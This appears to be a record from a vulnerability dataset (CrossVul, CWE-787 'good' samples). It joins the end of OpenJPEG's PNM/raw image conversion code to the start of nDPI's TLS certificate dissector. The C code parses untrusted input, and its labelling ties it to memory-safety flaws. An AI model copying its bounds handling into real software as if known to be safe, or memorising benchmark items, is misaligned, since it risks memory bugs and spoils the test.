{ fprintf(stderr, "\nWARNING: fscanf return a number of element different from the expected.\n"); } image->comps[compno].data[i] = (OPJ_INT32)(index * 255) / header_info.maxval; } } } else if ((format == 5) || (format == 6) || ((format == 7) && (header_info.gray || header_info.graya || header_info.rgb || header_info.rgba))) { /* binary pixmap */ unsigned char c0, c1, one; one = (prec < 9); for (i = 0; i < w * h; i++) { for (compno = 0; compno < numcomps; compno++) { if (!fread(&c0, 1, 1, fp)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); opj_image_destroy(image); fclose(fp); return NULL; } if (one) { image->comps[compno].data[i] = c0; } else { if (!fread(&c1, 1, 1, fp)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); } /* netpbm: */ image->comps[compno].data[i] = ((c0 << 8) | c1); } } } } else if (format == 1) { /* ascii bitmap */ for (i = 0; i < w * h; i++) { unsigned int index; if (fscanf(fp, "%u", &index) != 1) { fprintf(stderr, "\nWARNING: fscanf return a number of element different from the expected.\n"); } image->comps[0].data[i] = (index ? 0 : 255); } } else if (format == 4) { int x, y, bit; unsigned char uc; i = 0; for (y = 0; y < h; ++y) { bit = -1; uc = 0; for (x = 0; x < w; ++x) { if (bit == -1) { bit = 7; uc = (unsigned char)getc(fp); } image->comps[0].data[i] = (((uc >> bit) & 1) ? 0 : 255); --bit; ++i; } } } else if ((format == 7 && header_info.bw)) { /*MONO*/ unsigned char uc; for (i = 0; i < w * h; ++i) { if (!fread(&uc, 1, 1, fp)) { fprintf(stderr, "\nError: fread return a number of element different from the expected.\n"); } image->comps[0].data[i] = (uc & 1) ? 0 : 255; } } fclose(fp); return image; }/* pnmtoimage() */ static int are_comps_similar(opj_image_t * image) { unsigned int i; for (i = 1; i < image->numcomps; i++) { if (image->comps[0].dx != image->comps[i].dx || image->comps[0].dy != image->comps[i].dy || (i <= 2 && (image->comps[0].prec != image->comps[i].prec || image->comps[0].sgnd != image->comps[i].sgnd))) { return OPJ_FALSE; } } return OPJ_TRUE; } int imagetopnm(opj_image_t * image, const char *outfile, int force_split) { int *red, *green, *blue, *alpha; int wr, hr, max; int i; unsigned int compno, ncomp; int adjustR, adjustG, adjustB, adjustA; int fails, two, want_gray, has_alpha, triple; int prec, v; FILE *fdest = NULL; const char *tmp = outfile; char *destname; alpha = NULL; if ((prec = (int)image->comps[0].prec) > 16) { fprintf(stderr, "%s:%d:imagetopnm\n\tprecision %d is larger than 16" "\n\t: refused.\n", __FILE__, __LINE__, prec); return 1; } two = has_alpha = 0; fails = 1; ncomp = image->numcomps; while (*tmp) { ++tmp; } tmp -= 2; want_gray = (*tmp == 'g' || *tmp == 'G'); ncomp = image->numcomps; if (want_gray) { ncomp = 1; } if ((force_split == 0) && ncomp >= 2 && are_comps_similar(image)) { fdest = fopen(outfile, "wb"); if (!fdest) { fprintf(stderr, "ERROR -> failed to open %s for writing\n", outfile); return fails; } two = (prec > 8); triple = (ncomp > 2); wr = (int)image->comps[0].w; hr = (int)image->comps[0].h; max = (1 << prec) - 1; has_alpha = (ncomp == 4 || ncomp == 2); red = image->comps[0].data; if (triple) { green = image->comps[1].data; blue = image->comps[2].data; } else { green = blue = NULL; } if (has_alpha) { const char *tt = (triple ? "RGB_ALPHA" : "GRAYSCALE_ALPHA"); fprintf(fdest, "P7\n# OpenJPEG-%s\nWIDTH %d\nHEIGHT %d\nDEPTH %u\n" "MAXVAL %d\nTUPLTYPE %s\nENDHDR\n", opj_version(), wr, hr, ncomp, max, tt); alpha = image->comps[ncomp - 1].data; adjustA = (image->comps[ncomp - 1].sgnd ? 1 << (image->comps[ncomp - 1].prec - 1) : 0); } else { fprintf(fdest, "P6\n# OpenJPEG-%s\n%d %d\n%d\n", opj_version(), wr, hr, max); adjustA = 0; } adjustR = (image->comps[0].sgnd ? 1 << (image->comps[0].prec - 1) : 0); if (triple) { adjustG = (image->comps[1].sgnd ? 1 << (image->comps[1].prec - 1) : 0); adjustB = (image->comps[2].sgnd ? 1 << (image->comps[2].prec - 1) : 0); } else { adjustG = adjustB = 0; } for (i = 0; i < wr * hr; ++i) { if (two) { v = *red + adjustR; ++red; if (v > 65535) { v = 65535; } else if (v < 0) { v = 0; } /* netpbm: */ fprintf(fdest, "%c%c", (unsigned char)(v >> 8), (unsigned char)v); if (triple) { v = *green + adjustG; ++green; if (v > 65535) { v = 65535; } else if (v < 0) { v = 0; } /* netpbm: */ fprintf(fdest, "%c%c", (unsigned char)(v >> 8), (unsigned char)v); v = *blue + adjustB; ++blue; if (v > 65535) { v = 65535; } else if (v < 0) { v = 0; } /* netpbm: */ fprintf(fdest, "%c%c", (unsigned char)(v >> 8), (unsigned char)v); }/* if(triple) */ if (has_alpha) { v = *alpha + adjustA; ++alpha; if (v > 65535) { v = 65535; } else if (v < 0) { v = 0; } /* netpbm: */ fprintf(fdest, "%c%c", (unsigned char)(v >> 8), (unsigned char)v); } continue; } /* if(two) */ /* prec <= 8: */ v = *red++; if (v > 255) { v = 255; } else if (v < 0) { v = 0; } fprintf(fdest, "%c", (unsigned char)v); if (triple) { v = *green++; if (v > 255) { v = 255; } else if (v < 0) { v = 0; } fprintf(fdest, "%c", (unsigned char)v); v = *blue++; if (v > 255) { v = 255; } else if (v < 0) { v = 0; } fprintf(fdest, "%c", (unsigned char)v); } if (has_alpha) { v = *alpha++; if (v > 255) { v = 255; } else if (v < 0) { v = 0; } fprintf(fdest, "%c", (unsigned char)v); } } /* for(i */ fclose(fdest); return 0; } /* YUV or MONO: */ if (image->numcomps > ncomp) { fprintf(stderr, "WARNING -> [PGM file] Only the first component\n"); fprintf(stderr, " is written to the file\n"); } destname = (char*)malloc(strlen(outfile) + 8); if (destname == NULL) { fprintf(stderr, "imagetopnm: memory out\n"); return 1; } for (compno = 0; compno < ncomp; compno++) { if (ncomp > 1) { /*sprintf(destname, "%d.%s", compno, outfile);*/ const size_t olen = strlen(outfile); const size_t dotpos = olen - 4; strncpy(destname, outfile, dotpos); sprintf(destname + dotpos, "_%u.pgm", compno); } else { sprintf(destname, "%s", outfile); } fdest = fopen(destname, "wb"); if (!fdest) { fprintf(stderr, "ERROR -> failed to open %s for writing\n", destname); free(destname); return 1; } wr = (int)image->comps[compno].w; hr = (int)image->comps[compno].h; prec = (int)image->comps[compno].prec; max = (1 << prec) - 1; fprintf(fdest, "P5\n#OpenJPEG-%s\n%d %d\n%d\n", opj_version(), wr, hr, max); red = image->comps[compno].data; adjustR = (image->comps[compno].sgnd ? 1 << (image->comps[compno].prec - 1) : 0); if (prec > 8) { for (i = 0; i < wr * hr; i++) { v = *red + adjustR; ++red; if (v > 65535) { v = 65535; } else if (v < 0) { v = 0; } /* netpbm: */ fprintf(fdest, "%c%c", (unsigned char)(v >> 8), (unsigned char)v); if (has_alpha) { v = *alpha++; if (v > 65535) { v = 65535; } else if (v < 0) { v = 0; } /* netpbm: */ fprintf(fdest, "%c%c", (unsigned char)(v >> 8), (unsigned char)v); } }/* for(i */ } else { /* prec <= 8 */ for (i = 0; i < wr * hr; ++i) { v = *red + adjustR; ++red; if (v > 255) { v = 255; } else if (v < 0) { v = 0; } fprintf(fdest, "%c", (unsigned char)v); } } fclose(fdest); } /* for (compno */ free(destname); return 0; }/* imagetopnm() */ /* -->> -->> -->> -->> RAW IMAGE FORMAT <<-- <<-- <<-- <<-- */ static opj_image_t* rawtoimage_common(const char *filename, opj_cparameters_t *parameters, raw_cparameters_t *raw_cp, OPJ_BOOL big_endian) { int subsampling_dx = parameters->subsampling_dx; int subsampling_dy = parameters->subsampling_dy; FILE *f = NULL; int i, compno, numcomps, w, h; OPJ_COLOR_SPACE color_space; opj_image_cmptparm_t *cmptparm; opj_image_t * image = NULL; unsigned short ch; if ((!(raw_cp->rawWidth & raw_cp->rawHeight & raw_cp->rawComp & raw_cp->rawBitDepth)) == 0) { fprintf(stderr, "\nError: invalid raw image parameters\n"); fprintf(stderr, "Please use the Format option -F:\n"); fprintf(stderr, "-F <width>,<height>,<ncomp>,<bitdepth>,{s,u}@<dx1>x<dy1>:...:<dxn>x<dyn>\n"); fprintf(stderr, "If subsampling is omitted, 1x1 is assumed for all components\n"); fprintf(stderr, "Example: -i image.raw -o image.j2k -F 512,512,3,8,u@1x1:2x2:2x2\n"); fprintf(stderr, " for raw 512x512 image with 4:2:0 subsampling\n"); fprintf(stderr, "Aborting.\n"); return NULL; } f = fopen(filename, "rb"); if (!f) { fprintf(stderr, "Failed to open %s for reading !!\n", filename); fprintf(stderr, "Aborting\n"); return NULL; } numcomps = raw_cp->rawComp; /* FIXME ADE at this point, tcp_mct has not been properly set in calling function */ if (numcomps == 1) { color_space = OPJ_CLRSPC_GRAY; } else if ((numcomps >= 3) && (parameters->tcp_mct == 0)) { color_space = OPJ_CLRSPC_SYCC; } else if ((numcomps >= 3) && (parameters->tcp_mct != 2)) { color_space = OPJ_CLRSPC_SRGB; } else { color_space = OPJ_CLRSPC_UNKNOWN; } w = raw_cp->rawWidth; h = raw_cp->rawHeight; cmptparm = (opj_image_cmptparm_t*) calloc((OPJ_UINT32)numcomps, sizeof(opj_image_cmptparm_t)); if (!cmptparm) { fprintf(stderr, "Failed to allocate image components parameters !!\n"); fprintf(stderr, "Aborting\n"); fclose(f); return NULL; } /* initialize image components */ for (i = 0; i < numcomps; i++) { cmptparm[i].prec = (OPJ_UINT32)raw_cp->rawBitDepth; cmptparm[i].bpp = (OPJ_UINT32)raw_cp->rawBitDepth; cmptparm[i].sgnd = (OPJ_UINT32)raw_cp->rawSigned; cmptparm[i].dx = (OPJ_UINT32)(subsampling_dx * raw_cp->rawComps[i].dx); cmptparm[i].dy = (OPJ_UINT32)(subsampling_dy * raw_cp->rawComps[i].dy); cmptparm[i].w = (OPJ_UINT32)w; cmptparm[i].h = (OPJ_UINT32)h; } /* create the image */ image = opj_image_create((OPJ_UINT32)numcomps, &cmptparm[0], color_space); free(cmptparm); if (!image) { fclose(f); return NULL; } /* set image offset and reference grid */ image->x0 = (OPJ_UINT32)parameters->image_offset_x0; image->y0 = (OPJ_UINT32)parameters->image_offset_y0; image->x1 = (OPJ_UINT32)parameters->image_offset_x0 + (OPJ_UINT32)(w - 1) * (OPJ_UINT32)subsampling_dx + 1; image->y1 = (OPJ_UINT32)parameters->image_offset_y0 + (OPJ_UINT32)(h - 1) * (OPJ_UINT32)subsampling_dy + 1; if (raw_cp->rawBitDepth <= 8) { unsigned char value = 0; for (compno = 0; compno < numcomps; compno++) { int nloop = (w * h) / (raw_cp->rawComps[compno].dx * raw_cp->rawComps[compno].dy); for (i = 0; i < nloop; i++) { if (!fread(&value, 1, 1, f)) { fprintf(stderr, "Error reading raw file. End of file probably reached.\n"); opj_image_destroy(image); fclose(f); return NULL; } image->comps[compno].data[i] = raw_cp->rawSigned ? (char)value : value; } } } else if (raw_cp->rawBitDepth <= 16) { unsigned short value; for (compno = 0; compno < numcomps; compno++) { int nloop = (w * h) / (raw_cp->rawComps[compno].dx * raw_cp->rawComps[compno].dy); for (i = 0; i < nloop; i++) { unsigned char temp1; unsigned char temp2; if (!fread(&temp1, 1, 1, f)) { fprintf(stderr, "Error reading raw file. End of file probably reached.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (!fread(&temp2, 1, 1, f)) { fprintf(stderr, "Error reading raw file. End of file probably reached.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (big_endian) { value = (unsigned short)((temp1 << 8) + temp2); } else { value = (unsigned short)((temp2 << 8) + temp1); } image->comps[compno].data[i] = raw_cp->rawSigned ? (short)value : value; } } } else { fprintf(stderr, "OpenJPEG cannot encode raw components with bit depth higher than 16 bits.\n"); opj_image_destroy(image); fclose(f); return NULL; } if (fread(&ch, 1, 1, f)) { fprintf(stderr, "Warning. End of raw file not reached... processing anyway\n"); } fclose(f); return image; } opj_image_t* rawltoimage(const char *filename, opj_cparameters_t *parameters, raw_cparameters_t *raw_cp) { return rawtoimage_common(filename, parameters, raw_cp, OPJ_FALSE); } opj_image_t* rawtoimage(const char *filename, opj_cparameters_t *parameters, raw_cparameters_t *raw_cp) { return rawtoimage_common(filename, parameters, raw_cp, OPJ_TRUE); } static int imagetoraw_common(opj_image_t * image, const char *outfile, OPJ_BOOL big_endian) { FILE *rawFile = NULL; size_t res; unsigned int compno, numcomps; int w, h, fails; int line, row, curr, mask; int *ptr; unsigned char uc; (void)big_endian; if ((image->numcomps * image->x1 * image->y1) == 0) { fprintf(stderr, "\nError: invalid raw image parameters\n"); return 1; } numcomps = image->numcomps; if (numcomps > 4) { numcomps = 4; } for (compno = 1; compno < numcomps; ++compno) { if (image->comps[0].dx != image->comps[compno].dx) { break; } if (image->comps[0].dy != image->comps[compno].dy) { break; } if (image->comps[0].prec != image->comps[compno].prec) { break; } if (image->comps[0].sgnd != image->comps[compno].sgnd) { break; } } if (compno != numcomps) { fprintf(stderr, "imagetoraw_common: All components shall have the same subsampling, same bit depth, same sign.\n"); fprintf(stderr, "\tAborting\n"); return 1; } rawFile = fopen(outfile, "wb"); if (!rawFile) { fprintf(stderr, "Failed to open %s for writing !!\n", outfile); return 1; } fails = 1; fprintf(stdout, "Raw image characteristics: %d components\n", image->numcomps); for (compno = 0; compno < image->numcomps; compno++) { fprintf(stdout, "Component %u characteristics: %dx%dx%d %s\n", compno, image->comps[compno].w, image->comps[compno].h, image->comps[compno].prec, image->comps[compno].sgnd == 1 ? "signed" : "unsigned"); w = (int)image->comps[compno].w; h = (int)image->comps[compno].h; if (image->comps[compno].prec <= 8) { if (image->comps[compno].sgnd == 1) { mask = (1 << image->comps[compno].prec) - 1; ptr = image->comps[compno].data; for (line = 0; line < h; line++) { for (row = 0; row < w; row++) { curr = *ptr; if (curr > 127) { curr = 127; } else if (curr < -128) { curr = -128; } uc = (unsigned char)(curr & mask); res = fwrite(&uc, 1, 1, rawFile); if (res < 1) { fprintf(stderr, "failed to write 1 byte for %s\n", outfile); goto fin; } ptr++; } } } else if (image->comps[compno].sgnd == 0) { mask = (1 << image->comps[compno].prec) - 1; ptr = image->comps[compno].data; for (line = 0; line < h; line++) { for (row = 0; row < w; row++) { curr = *ptr; if (curr > 255) { curr = 255; } else if (curr < 0) { curr = 0; } uc = (unsigned char)(curr & mask); res = fwrite(&uc, 1, 1, rawFile); if (res < 1) { fprintf(stderr, "failed to write 1 byte for %s\n", outfile); goto fin; } ptr++; } } } } else if (image->comps[compno].prec <= 16) { if (image->comps[compno].sgnd == 1) { union { signed short val; signed char vals[2]; } uc16; mask = (1 << image->comps[compno].prec) - 1; ptr = image->comps[compno].data; for (line = 0; line < h; line++) { for (row = 0; row < w; row++) { curr = *ptr; if (curr > 32767) { curr = 32767; } else if (curr < -32768) { curr = -32768; } uc16.val = (signed short)(curr & mask); res = fwrite(uc16.vals, 1, 2, rawFile); if (res < 2) { fprintf(stderr, "failed to write 2 byte for %s\n", outfile); goto fin; } ptr++; } } } else if (image->comps[compno].sgnd == 0) { union { unsigned short val; unsigned char vals[2]; } uc16; mask = (1 << image->comps[compno].prec) - 1; ptr = image->comps[compno].data; for (line = 0; line < h; line++) { for (row = 0; row < w; row++) { curr = *ptr; if (curr > 65535) { curr = 65535; } else if (curr < 0) { curr = 0; } uc16.val = (unsigned short)(curr & mask); res = fwrite(uc16.vals, 1, 2, rawFile); if (res < 2) { fprintf(stderr, "failed to write 2 byte for %s\n", outfile); goto fin; } ptr++; } } } } else if (image->comps[compno].prec <= 32) { fprintf(stderr, "More than 16 bits per component not handled yet\n"); goto fin; } else { fprintf(stderr, "Error: invalid precision: %d\n", image->comps[compno].prec); goto fin; } } fails = 0; fin: fclose(rawFile); return fails; } int imagetoraw(opj_image_t * image, const char *outfile) { return imagetoraw_common(image, outfile, OPJ_TRUE); } int imagetorawl(opj_image_t * image, const char *outfile) { return imagetoraw_common(image, outfile, OPJ_FALSE); }
./CrossVul/dataset_final_sorted/CWE-787/c/good_2759_0
crossvul-cpp_data_good_4217_0
/* * tls.c - SSL/TLS/DTLS dissector * * Copyright (C) 2016-20 - ntop.org * * This file is part of nDPI, an open source deep packet inspection * library based on the OpenDPI and PACE technology by ipoque GmbH * * nDPI is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * nDPI is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with nDPI. If not, see <http://www.gnu.org/licenses/>. * */ #include "ndpi_protocol_ids.h" #define NDPI_CURRENT_PROTO NDPI_PROTOCOL_TLS #include "ndpi_api.h" #include "ndpi_md5.h" #include "ndpi_sha1.h" extern char *strptime(const char *s, const char *format, struct tm *tm); extern int processClientServerHello(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow); // #define DEBUG_TLS_MEMORY 1 // #define DEBUG_TLS 1 // #define DEBUG_CERTIFICATE_HASH /* #define DEBUG_FINGERPRINT 1 */ /* #define DEBUG_ENCRYPTED_SNI 1 */ /* NOTE How to view the certificate fingerprint 1. Using wireshark save the certificate on certificate.bin file as explained in https://security.stackexchange.com/questions/123851/how-can-i-extract-the-certificate-from-this-pcap-file 2. openssl x509 -inform der -in certificate.bin -text > certificate.der 3. openssl x509 -noout -fingerprint -sha1 -inform pem -in certificate.der SHA1 Fingerprint=15:9A:76.... $ shasum -a 1 www.grc.com.bin 159a76..... */ #define NDPI_MAX_TLS_REQUEST_SIZE 10000 /* skype.c */ extern u_int8_t is_skype_flow(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow); /* stun.c */ extern u_int32_t get_stun_lru_key(struct ndpi_flow_struct *flow, u_int8_t rev); static void ndpi_int_tls_add_connection(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int32_t protocol); /* **************************************** */ static u_int32_t ndpi_tls_refine_master_protocol(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int32_t protocol) { struct ndpi_packet_struct *packet = &flow->packet; // protocol = NDPI_PROTOCOL_TLS; if(packet->tcp != NULL) { switch(protocol) { case NDPI_PROTOCOL_TLS: { /* In case of SSL there are probably sub-protocols such as IMAPS that can be otherwise detected */ u_int16_t sport = ntohs(packet->tcp->source); u_int16_t dport = ntohs(packet->tcp->dest); if((sport == 465) || (dport == 465) || (sport == 587) || (dport == 587)) protocol = NDPI_PROTOCOL_MAIL_SMTPS; else if((sport == 993) || (dport == 993) || (flow->l4.tcp.mail_imap_starttls) ) protocol = NDPI_PROTOCOL_MAIL_IMAPS; else if((sport == 995) || (dport == 995)) protocol = NDPI_PROTOCOL_MAIL_POPS; } break; } } return(protocol); } /* **************************************** */ void ndpi_search_tls_tcp_memory(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow) { struct ndpi_packet_struct *packet = &flow->packet; /* TCP */ #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Handling TCP/TLS flow [payload_len: %u][buffer_len: %u][direction: %u]\n", packet->payload_packet_len, flow->l4.tcp.tls.message.buffer_len, packet->packet_direction); #endif if(flow->l4.tcp.tls.message.buffer == NULL) { /* Allocate buffer */ flow->l4.tcp.tls.message.buffer_len = 2048, flow->l4.tcp.tls.message.buffer_used = 0; flow->l4.tcp.tls.message.buffer = (u_int8_t*)ndpi_malloc(flow->l4.tcp.tls.message.buffer_len); if(flow->l4.tcp.tls.message.buffer == NULL) return; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Allocating %u buffer\n", flow->l4.tcp.tls.message.buffer_len); #endif } u_int avail_bytes = flow->l4.tcp.tls.message.buffer_len - flow->l4.tcp.tls.message.buffer_used; if(avail_bytes < packet->payload_packet_len) { u_int new_len = flow->l4.tcp.tls.message.buffer_len + packet->payload_packet_len; void *newbuf = ndpi_realloc(flow->l4.tcp.tls.message.buffer, flow->l4.tcp.tls.message.buffer_len, new_len); if(!newbuf) return; flow->l4.tcp.tls.message.buffer = (u_int8_t*)newbuf, flow->l4.tcp.tls.message.buffer_len = new_len; avail_bytes = flow->l4.tcp.tls.message.buffer_len - flow->l4.tcp.tls.message.buffer_used; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Enlarging %u -> %u buffer\n", flow->l4.tcp.tls.message.buffer_len, new_len); #endif } if(avail_bytes >= packet->payload_packet_len) { memcpy(&flow->l4.tcp.tls.message.buffer[flow->l4.tcp.tls.message.buffer_used], packet->payload, packet->payload_packet_len); flow->l4.tcp.tls.message.buffer_used += packet->payload_packet_len; #ifdef DEBUG_TLS_MEMORY printf("[TLS Mem] Copied data to buffer [%u/%u bytes]\n", flow->l4.tcp.tls.message.buffer_used, flow->l4.tcp.tls.message.buffer_len); #endif } } /* **************************************** */ /* Can't call libc functions from kernel space, define some stub instead */ #define ndpi_isalpha(ch) (((ch) >= 'a' && (ch) <= 'z') || ((ch) >= 'A' && (ch) <= 'Z')) #define ndpi_isdigit(ch) ((ch) >= '0' && (ch) <= '9') #define ndpi_isspace(ch) (((ch) >= '\t' && (ch) <= '\r') || ((ch) == ' ')) #define ndpi_isprint(ch) ((ch) >= 0x20 && (ch) <= 0x7e) #define ndpi_ispunct(ch) (((ch) >= '!' && (ch) <= '/') || \ ((ch) >= ':' && (ch) <= '@') || \ ((ch) >= '[' && (ch) <= '`') || \ ((ch) >= '{' && (ch) <= '~')) /* **************************************** */ static void cleanupServerName(char *buffer, int buffer_len) { u_int i; /* Now all lowecase */ for(i=0; i<buffer_len; i++) buffer[i] = tolower(buffer[i]); } /* **************************************** */ /* Return code -1: error (buffer too short) 0: OK but buffer is not human readeable (so something went wrong) 1: OK */ static int extractRDNSequence(struct ndpi_packet_struct *packet, u_int offset, char *buffer, u_int buffer_len, char *rdnSeqBuf, u_int *rdnSeqBuf_offset, u_int rdnSeqBuf_len, const char *label) { u_int8_t str_len = packet->payload[offset+4], is_printable = 1; char *str; u_int len, j; if (*rdnSeqBuf_offset >= rdnSeqBuf_len) { #ifdef DEBUG_TLS printf("[TLS] %s() [buffer capacity reached][%u]\n", __FUNCTION__, rdnSeqBuf_len); #endif return -1; } // packet is truncated... further inspection is not needed if((offset+4+str_len) >= packet->payload_packet_len) return(-1); str = (char*)&packet->payload[offset+5]; len = (u_int)ndpi_min(str_len, buffer_len-1); strncpy(buffer, str, len); buffer[len] = '\0'; // check string is printable for(j = 0; j < len; j++) { if(!ndpi_isprint(buffer[j])) { is_printable = 0; break; } } if(is_printable) { int rc = snprintf(&rdnSeqBuf[*rdnSeqBuf_offset], rdnSeqBuf_len-(*rdnSeqBuf_offset), "%s%s=%s", (*rdnSeqBuf_offset > 0) ? ", " : "", label, buffer); if(rc > 0) (*rdnSeqBuf_offset) += rc; } return(is_printable); } /* **************************************** */ /* See https://blog.catchpoint.com/2017/05/12/dissecting-tls-using-wireshark/ */ static void processCertificateElements(struct ndpi_detection_module_struct *ndpi_struct, struct ndpi_flow_struct *flow, u_int16_t p_offset, u_int16_t certificate_len) { struct ndpi_packet_struct *packet = &flow->packet; u_int num_found = 0, i; char buffer[64] = { '\0' }, rdnSeqBuf[2048] = { '\0' }; u_int rdn_len = 0; #ifdef DEBUG_TLS printf("[TLS] %s() [offset: %u][certificate_len: %u]\n", __FUNCTION__, p_offset, certificate_len); #endif /* Check after handshake protocol header (5 bytes) and message header (4 bytes) */ for(i = p_offset; i < certificate_len; i++) { /* See https://www.ibm.com/support/knowledgecenter/SSFKSJ_7.5.0/com.ibm.mq.sec.doc/q009860_.htm for X.509 certificate labels */ if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x03)) { /* Common Name */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "CN"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Common Name", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x06)) { /* Country */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "C"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Country", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x07)) { /* Locality */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "L"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Locality", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x08)) { /* State or Province */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "ST"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "State or Province", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x0a)) { /* Organization Name */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "O"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Organization Name", buffer); #endif } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x04) && (packet->payload[i+2] == 0x0b)) { /* Organization Unit */ int rc = extractRDNSequence(packet, i, buffer, sizeof(buffer), rdnSeqBuf, &rdn_len, sizeof(rdnSeqBuf), "OU"); if(rc == -1) break; #ifdef DEBUG_TLS printf("[TLS] %s() [%s][%s: %s]\n", __FUNCTION__, (num_found == 0) ? "Subject" : "Issuer", "Organization Unit", buffer); #endif } else if((packet->payload[i] == 0x30) && (packet->payload[i+1] == 0x1e) && (packet->payload[i+2] == 0x17)) { /* Certificate Validity */ u_int8_t len = packet->payload[i+3]; u_int offset = i+4; if(num_found == 0) { num_found++; #ifdef DEBUG_TLS printf("[TLS] %s() IssuerDN [%s]\n", __FUNCTION__, rdnSeqBuf); #endif if(rdn_len) flow->protos.stun_ssl.ssl.issuerDN = ndpi_strdup(rdnSeqBuf); rdn_len = 0; /* Reset buffer */ } if((offset+len) < packet->payload_packet_len) { char utcDate[32]; #ifdef DEBUG_TLS u_int j; printf("[CERTIFICATE] notBefore [len: %u][", len); for(j=0; j<len; j++) printf("%c", packet->payload[i+4+j]); printf("]\n"); #endif if(len < (sizeof(utcDate)-1)) { struct tm utc; utc.tm_isdst = -1; /* Not set by strptime */ strncpy(utcDate, (const char*)&packet->payload[i+4], len); utcDate[len] = '\0'; /* 141021000000Z */ if(strptime(utcDate, "%y%m%d%H%M%SZ", &utc) != NULL) { flow->protos.stun_ssl.ssl.notBefore = timegm(&utc); #ifdef DEBUG_TLS printf("[CERTIFICATE] notBefore %u [%s]\n", flow->protos.stun_ssl.ssl.notBefore, utcDate); #endif } } offset += len; if((offset+1) < packet->payload_packet_len) { len = packet->payload[offset+1]; offset += 2; if((offset+len) < packet->payload_packet_len) { u_int32_t time_sec = flow->packet.current_time_ms / 1000; #ifdef DEBUG_TLS u_int j; printf("[CERTIFICATE] notAfter [len: %u][", len); for(j=0; j<len; j++) printf("%c", packet->payload[offset+j]); printf("]\n"); #endif if(len < (sizeof(utcDate)-1)) { struct tm utc; utc.tm_isdst = -1; /* Not set by strptime */ strncpy(utcDate, (const char*)&packet->payload[offset], len); utcDate[len] = '\0'; /* 141021000000Z */ if(strptime(utcDate, "%y%m%d%H%M%SZ", &utc) != NULL) { flow->protos.stun_ssl.ssl.notAfter = timegm(&utc); #ifdef DEBUG_TLS printf("[CERTIFICATE] notAfter %u [%s]\n", flow->protos.stun_ssl.ssl.notAfter, utcDate); #endif } } if((time_sec < flow->protos.stun_ssl.ssl.notBefore) || (time_sec > flow->protos.stun_ssl.ssl.notAfter)) NDPI_SET_BIT(flow->risk, NDPI_TLS_CERTIFICATE_EXPIRED); /* Certificate expired */ } } } } else if((packet->payload[i] == 0x55) && (packet->payload[i+1] == 0x1d) && (packet->payload[i+2] == 0x11)) { /* Organization OID: 2.5.29.17 (subjectAltName) */ u_int8_t matched_name = 0; #ifdef DEBUG_TLS printf("******* [TLS] Found subjectAltName\n"); #endif i += 3 /* skip the initial patten 55 1D 11 */; i++; /* skip the first type, 0x04 == BIT STRING, and jump to it's length */ if(i < packet->payload_packet_len) { i += (packet->payload[i] & 0x80) ? (packet->payload[i] & 0x7F) : 0; /* skip BIT STRING length */ if(i < packet->payload_packet_len) { i += 2; /* skip the second type, 0x30 == SEQUENCE, and jump to it's length */ if(i < packet->payload_packet_len) { i += (packet->payload[i] & 0x80) ? (packet->payload[i] & 0x7F) : 0; /* skip SEQUENCE length */ i++; while(i < packet->payload_packet_len) { if(packet->payload[i] == 0x82) { if((i < (packet->payload_packet_len - 1)) && ((i + packet->payload[i + 1] + 2) < packet->payload_packet_len)) { u_int8_t len = packet->payload[i + 1]; char dNSName[256]; i += 2; /* The check "len > sizeof(dNSName) - 1" will be always false. If we add it, the compiler is smart enough to detect it and throws a warning */ if(len == 0 /* Looks something went wrong */) break; strncpy(dNSName, (const char*)&packet->payload[i], len); dNSName[len] = '\0'; 